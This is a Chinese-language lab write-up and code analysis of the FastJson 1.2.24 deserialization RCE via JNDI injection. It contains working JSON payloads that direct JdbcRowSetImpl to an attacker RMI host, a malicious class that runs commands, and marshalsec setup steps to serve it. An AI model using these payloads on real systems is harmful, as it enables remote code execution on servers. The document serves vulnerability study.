FastJson1.2.24-反序列化RCE学习笔记
前言
我们知道序列化和反序列化的存在是为了面向类的编程思想的语言,传递类方便,才会有序列化和反序列化的概念,每个语言自带的序列化方式都不同,但是无论是Python
,JavaScript
,PHP
,Java
,都有对应的包,支持利用JSON
为传递类的数据格式,而FastJson
是阿里的开源高性能JSON
包,在国内运用的相当普遍。因此每当这个包出现漏洞,影响都是非常巨大的。我们学习这个RCE漏洞,能够帮助我们更好的理解Java
安全。
<!--more-->
PS:这里的FastJson
反序列化和Java
反序列化不是一个东西,两者是恢复对象的两种不同方法。
漏洞环境&POC
- GitHub:Vulhub/Fastjson
- JDK版本:
Java8u102
首先肯定先开POC是怎么写的,项目中给出的payload为:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evilip:port/Evil",
"autoCommit":true
}
}
还有类似的payload为:
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip/ExpClass","autoCommit":true}
他们都是使用了jdni
注入,来利用这个漏洞,这里需要我们远程开启一个RMI
服务,在fastjson
所使用的服务器中传入恶意的JSON
数据,让服务器加载我们远程的恶意类,从而达到RCE
的目的。
具体利用
- 编写一个恶意
java
类
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"peek"};
//peek是我本地的截GIF图的软件,有GUI方便看效果
Process p = rt.exec(commands);
p.waitFor();
}catch (Exception e){
}
}
}
利用javac
命令将该.java
文件编译成.class
:
javac Evil.class
- 在编译的
Evil.class
目录下,利用python3
开启一个HTTP
服务:
只要能够像这样能够文件遍历即可。
python3 -m http.server 8099 #python3开启http
python -m SimpleHTTPServer 8099 #python2开启http
然后利用marshalsec工具,开启一个RMI
服务,这个工具是通过http
服务找到需要绑定的类的
PS:该工具是在Java8
进行mvc
打包,如果出现了依赖问题,可以尝试添加(我下的时候pom.xml没有这个依赖):
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.0.0.RELEASE</version>
</dependency>
来解决org.springfreamework.core.*
无法访问的依赖问题,打包工具就像原项目讲的使用:
mvn clean package -DskipTests
- 通过
marshalsec
开启RMI
服务,并绑定Evil.class
:
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8099/#Evil
接着使用POST
方式,将POC
传给Fastjson
服务:
由于使用的是Java8u102
,所以没有com.sun.jndi.rmi.object.trustURLCodebase
的现在,这个限制在Java8u113
之后,即不允许从远程的codebase
加载Reference工厂类了。这里工具对应的,marshalsec.jndi.RMIRefServer
为远程的codebase
,我们的Evil.class
即为工厂类。
其他利用方法可以参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用
分析
我们成功复现了FastJson
这个漏洞,现在我们来看看为什么能够执行命令,自然首先入手的就是这个POC
了,
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/Evil",
"autoCommit":true
}
}
我的调试方法比较笨,由于我们传入的JSON
类型的POC
因此推测问题应该出在JSON
d的解析上面,所以在DefaultJSONParser
类中的DefaultJSONParser
里打上断点,然后疯狂单步调试。
有关触发
这个需要看源码,关键源码在这里,在经过很多次循环和token
解析之后,当检测到@type
和其内容时会进入这个部分的代码:
其中缺省的部分:
public static String DEFAULT_TYPE_KEY = "@type";
我们发现这里使用了TypeUtils.loadclass
,看名字就知道很显然这里将我们@type
的类名称,载入了进来,并将这个值传给Class
的泛型clazz
,
最后得到了@type
所对应的类,至少从这里来说@type
决定了我们要使用类的类型,然后又是经过一同解析,FastJson
会将@type
对应的这个类进行反序列化,在得到这个类的对象之后,开始解析下一个JSONtoken
,为什么最后会出现这个功能呢?因为我们知道一般的JSON
字符串,反序列化出来是不知道它包含哪个对象的,因此这里FastJson
,通过添加@type
字段,指明了反序列化的对象类型,下图是DefaultJSONParser.java
的反序列化方法
随后的函数栈如下:
当解析完所有的token
之后,就会开始FastJson
的反序列化了,JavaBeanDeserializer.java
最终会调用FieldDeserializer.java
的方法:
这里我们会发现一个问题,他调用的是@type
类中的set(属性名)
的方法,那么这个方法又是如何找到的,我们会发现这里实际上得到方法名是在fieldInfo.method
中找到的,我们在FieldInfo
的类构造方法上打上断点,然后重新利用一次POC
发现:
这里已经找到了对应方法,因此我们观察函数栈,对应的信息在JavaBeanInfo.java
中,简化了一下代码大概是这样一个逻辑:
Method[] methods = clazz.getMethods();
/* clazz就是@type对应的类,我们去的里面的所有方法得到一个数组
* 然后将这个数组进行迭代查找
*/
for (Method method : methods) { //
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();
String propertyName; //propertyName就是JSON中的属性值,这里可为dataSourceName或autoCommit
/* 省略很多代码(主要用来过滤非get和set开头的代码)
* 最后寻找是否有方法名是包含propertyName,且为set或get开头的,有就
* 生成一个FieldInfo对象来保存这些信息
*/
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, null));
}
最后经由FieldDeserializer.java
中的setValue
方法,利用找到的对应方法和JSON
中对应的值,利用Java
反射机制的invoke
方法进行设置,最后返回生成的类:
有关类的选择
通过上面的分析我们知道了POC
为什么会使用@type
,因为使用这个参数,意味这我们不仅可控类,也可控类的方法及其属性(前提是该类含有get
或set
开头的方法),所以最后问题就落在了,我们需要找到一个类,能够控制含有set
和get
方法,且能够RCE
这个问题上面了。因为POC
已经给出,所以我们来看看这个类为什么能够RCE
,下面为我们使用的两个set
方法:
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
该类的setDataSourceName
使用了父类的setDataSourceName
:
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
父类方法也很简单,很显然问题是在setAutoCommit
方法上面了,我们POC
中传入的autoCommit=True
,这里var1
肯定不为null
,所以进入else
中的connect()
方法:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
// autoCommit就是在设置conn的值,不走这个分值
} else if (this.getDataSourceName() != null) {
// 通过setDataSourceName已经设置好了对应值
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
/*1.出现了lookup函数,我们知道jndi注入其中一个条件是lookup参数可控,这里显然可控
*2.var1为InitialContext类
*/
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
如果需要跟的话,我们知道InitialContext
是jndi
的老常客了,他的lookup
方法为:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
再跟的话源码为:
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
由于我们传入了dataSource
,导致了scheme
的值不为空,最后这里便将我们的原rmi
地址,重写为了我们构造好的恶意地址rmi://127.0.0.1:1099/Evil
,而这个通过rmi
找到的类为Reference
工厂类,从而导致了jndi
注入的顺利进行。
至此这个漏洞就已经分析完毕了,随后FastJson1.2.25
给出的修复方案是不默认支持指定反序列化类的类型,还加入了黑名单的方式进行了校验,先挖个坑以后再分析吧。
参考: